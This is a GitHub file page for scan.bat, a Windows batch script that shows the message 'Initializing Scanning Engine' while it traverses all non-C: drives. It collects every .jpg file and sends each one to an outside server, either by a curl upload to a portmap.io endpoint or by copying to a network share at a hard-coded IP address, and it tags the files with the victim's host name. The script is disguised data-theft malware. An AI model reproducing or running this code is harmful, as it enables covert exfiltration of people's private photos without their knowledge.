-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathscan.bat
80 lines (69 loc) · 1.69 KB
/
scan.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
@echo off
cls
set operation= 1
set checkPing= 0
set base_address= http://covid19-28305.portmap.io:28305
set base_ip= 94.130.126.137
for /f "skip=1 delims=" %%A in (
'wmic computersystem get name'
) do for /f "delims=" %%B in ("%%A") do set "host=%%A"
echo Detected Host %host%
color E
echo Initializing Scanning Engine Please Wait . . .
if %checkPing% == 1 (
if %operation% == -1 (
ping %base_ip% -n 1 -w 1000
) else if %operation% == 1 (
ping %base_address% -n 1 -w 1000
)
)
if errorlevel 1 (
color C
echo Error Occured While Initializing
goto :eof
) else (
color A
call :detectDrives
goto :eof
)
:detectDrives
echo Getting list of all drives
FOR /F %%x IN ('wmic logicaldisk get name') do (
if NOT %%x == Name if NOT %%x == [] if NOT %%x == C: (
if EXIST %%x (
cd /D %%x
echo Current Drive is %%x
title Scanning Drive %%x
call :treeProcess
) else (
echo Drive %%x is not Ready . . .
)
)
)
exit /b
:CopyLocal
if EXIST \\%base_ip%\Sharepoint\%host%\%current_dir% (
echo n | copy /-y %%f \\%base_ip%\Sharepoint\%host%\%current_dir%\*.* > NUL
) else (
mkdir \\%base_ip%\Sharepoint\%host%\%current_dir% > NUL
echo n | copy /-y %%f \\%base_ip%\Sharepoint\%host%\%current_dir%\*.* > NUL
)
exit /b
:treeProcess
echo Scanning Directory %current_dir%
for %%f in (*.jpg) do (
if %operation% == -1 (
call :CopyLocal
) else if %operation% == 1 (
curl --form file=@%%f %base_address%/uploader/index.php?host=%host% > NUL
) else (
echo %%f
)
)
for /D %%d in (*) do (
cd %%d
SET current_dir=%%d
call :treeProcess
cd ..
)
exit /b